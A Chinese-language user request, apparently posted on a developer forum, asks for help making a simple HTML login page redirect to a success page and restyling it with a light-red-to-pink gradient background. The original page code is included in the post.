要结合我原来代码,做到跳转啊,而且我不要任何系统说明,我要淡红色和粉色渐变的背景颜色,原来代码:<!DOCTYPE html> <html lang="zh-cn"> <head> <meta charset="UTF-8"> <title>34-zk登录页面</title> <style> body { font-family: "华文行楷", "华为楷体", serif; background: linear-gradient(to bottom, #ffffff, #e6f7ef, #b3e0ff); display: flex; justify-content: center; align-items: center; min-height: 100vh; margin: 0; padding: 20px; } .container { background-color: #fff; padding: 30px; border-radius: 8px; box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1); width: 100%; max-width: 400px; } h1 { text-align: center; margin-bottom: 25px; color: #2c3e50; } input { width: 100%; padding: 12px; margin: 10px 0; border: 1px solid #ddd; border-radius: 4px; } button { width: 100%; padding: 12px; background: #4CAF50; color: white; border: none; border-radius: 4px; cursor: pointer; } .links { margin-top: 20px; text-align: center; } .links a { display: block; margin: 5px 0; color: #3498db; text-decoration: none; } </style> </head> <body> <div class="container"> <h1>用户登录</h1> <!-- 测试用的简单跳转 --> <button onclick="testJump()" style="background: #e74c3c; margin-bottom: 10px;"> 测试跳转按钮 </button> <form id="loginForm"> <input type="text" id="username" placeholder="用户名/邮箱" value="testuser"> <input type="password" id="password" placeholder="密码" value="Admin123"> <button type="button" onclick="handleLogin()">登录</button> </form> <div class="links"> <a href="regist.html">注册用户</a> <a href="afterlogin.html">直接访问成功页面</a> <a href="3.html">返回首页</a> <a href="forgetpwd.html">忘记密码</a> </div> <div style="margin-top: 20px; text-align: center;"> <p>11-18-34-zk</p> <p id="debugInfo" style="color: red; font-size: 12px;"></p> </div> </div> <script> // 显示调试信息 document.getElementById('debugInfo').textContent = '当前URL: ' + window.location.href + ' | 文件路径测试中...'; // 测试跳转函数 function testJump() { alert('测试跳转功能'); console.log('尝试跳转到 afterlogin.html'); // 方法1:直接跳转 window.location.href = 'afterlogin.html'; } // 登录处理函数 function handleLogin() { const username = document.getElementById('username').value; const password = document.getElementById('password').value; // 简单验证 if (username && password) { alert('登录成功!跳转中...'); console.log('登录验证通过,准备跳转'); // 多种跳转方式尝试 try { // 方法1:直接跳转 window.location.href = 'afterlogin.html'; // 方法2:3秒后备用跳转 setTimeout(function() { if (window.location.href.indexOf('afterlogin.html') === -1) { window.location.replace('afterlogin.html'); } }, 3000); } catch (error) { console.error('跳转错误:', error); alert('跳转失败: ' + error.message); } } else { alert('请输入用户名和密码'); } } // 页面加载完成后的调试 window.onload = function() { console.log('=== 调试信息 ==='); console.log('当前页面URL:', window.location.href); console.log('尝试检查afterlogin.html是否存在...'); // 测试文件是否存在 fetch('afterlogin.html') .then(response => { if (response.ok) { console.log('✓ afterlogin.html 文件存在'); document.getElementById('debugInfo').textContent += ' | 成功页面文件存在'; } else { console.log('✗ afterlogin.html 文件不存在或无法访问'); document.getElementById('debugInfo').textContent += ' | 成功页面文件不存在'; } }) .catch(error => { console.log('✗ 文件检查失败:', error); document.getElementById('debugInfo').textContent += ' | 文件检查失败: ' + error; }); }; </script> </body> </html>
最新发布
12-17
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值